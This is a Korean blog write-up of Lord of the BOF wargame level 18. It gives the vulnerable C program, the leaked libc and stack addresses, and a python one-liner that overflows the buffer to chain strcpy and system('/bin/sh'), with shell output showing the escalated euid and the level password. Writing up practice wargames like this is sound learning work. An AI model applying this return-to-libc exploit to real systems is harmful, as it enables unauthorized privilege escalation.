eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • hacking
  • 오버플로우
  • hacker
  • 암호
  • 스쿨
  • school
  • 해킹
  • 메모리
  • 공격
  • pwnable
  • 과정
  • buffer
  • overflow
  • LEVEL
  • 패스워드
  • 문제
  • password
  • web
  • BOF
  • 문제풀이
  • webhacking.kr
  • write
  • 풀이
  • 설명
  • hack
  • Up
  • attack
  • 해커
  • LOB
  • hakcing

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[LOB] Level18: succubus → nightmare
0x02 Study :)/Pwnable

[LOB] Level18: succubus → nightmare

2018. 8. 2. 16:29

nightmare

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
    if(memcmp(argv[1]+44, &addr, 4) != 0){
        printf("You must fall in love with strcpy()\n");
        exit(0);
    }

    // overflow!
    strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}



strcpy = 0x8048410

system = 0x40058ae0

ebp-40 = 0xbffffaa0

"/bin/sh" = 0x400fbff9

ret+4 = 0xbffffad0

[succubus@localhost succubus]$ ./nightmare `python -c 'print "\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"+"A"*32+"\x10\x84\x04\x08"+"A"*4+"\xd0\xfa\xff\xbf"+"\xa0\xfa\xff\xbf"'`
�@AAAA�@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������
bash$ my-pass
euid = 518
beg for me
bash$ id
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)

 

nightmare / beg for me

 


잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 




저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [LOB] Level20: xavius → death_knight [完]
    • [LOB] Level19: nightmare → xavius
    • [LOB] Level17: zombie_assassin → succubus
    • [LOB] Level16: assassin → zombie_assassin
    eli_ez3r
    eli_ez3r

    티스토리툴바